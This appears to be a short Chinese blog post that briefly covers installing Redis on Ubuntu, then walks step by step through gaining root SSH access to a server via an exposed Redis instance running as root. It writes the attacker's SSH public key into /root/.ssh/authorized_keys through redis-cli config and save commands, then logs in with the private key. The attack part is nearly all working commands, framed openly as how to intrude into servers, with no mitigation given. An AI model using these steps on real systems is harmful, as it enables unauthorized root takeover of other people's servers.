Fork me on GitHub

redis与ssh-keygen

在ubuntu上安装是非常方便的

1
2
$sudo apt-get update
$sudo apt-get install redis-server

若是redis-cli命令出现redis 127.0.0.1:6379>,则安装成功了

如何根据Redis和ssh入侵服务器。原理上并不复杂,只是利用的规则有点苛刻:

1
2
3
1. redis要暴露在公网上
2. 嗯ssh进程也得开
3. Redis要是以root的权限启动的。(这个命令就是以root权限启动的(端口随便填):redis-server --port 6369)

复现过程

  • 先在本地建个ssh的秘钥

    1
    2
    ssh-keygen -t rsa
    cd ~/.ssh/
  • 然后将公钥写入文本中(文本还可以有路径,比如说/tmp/1.txt,前后空两行,公钥的内容就不会跟redis的内容混在一起了

    1
    (echo -e "\n\n";cat ~/.ssh/id_rsa.pub;echo -e "\n\n") > 1.txt
  • 然后把里面的内容设置到远程的redis服务器上,设置key为233

    1
    cat 1.txt | redis-cli -h xxx.xxx.x.xx -p 6379  -x set 233
  • 远程连接一下

    1
    redis-cli -h xxx.xxx.x.xx
  • 修改保存的路径

    1
    2
    xxx.xxx.x.xx :6379> config set dir /root/.ssh/
    xxx.xxx.x.xx :6379> config get dir
  • 修改保存的名称

    1
    xxx.xxx.x.xx :6379> config set dbfilename "authorized_keys"
  • 保存

    1
    xxx.xxx.x.xx :6379> save

PS:SAVE 命令执行一个同步保存操作,将当前 Redis 实例的所有数据快照(snapshot)以 RDB 文件的形式保存到硬盘。

*远程利用自己的私钥登录该服务器。

1
ssh -i id_rsa root@xxx.xxx.x.xx

-------------本文结束感谢您的阅读-------------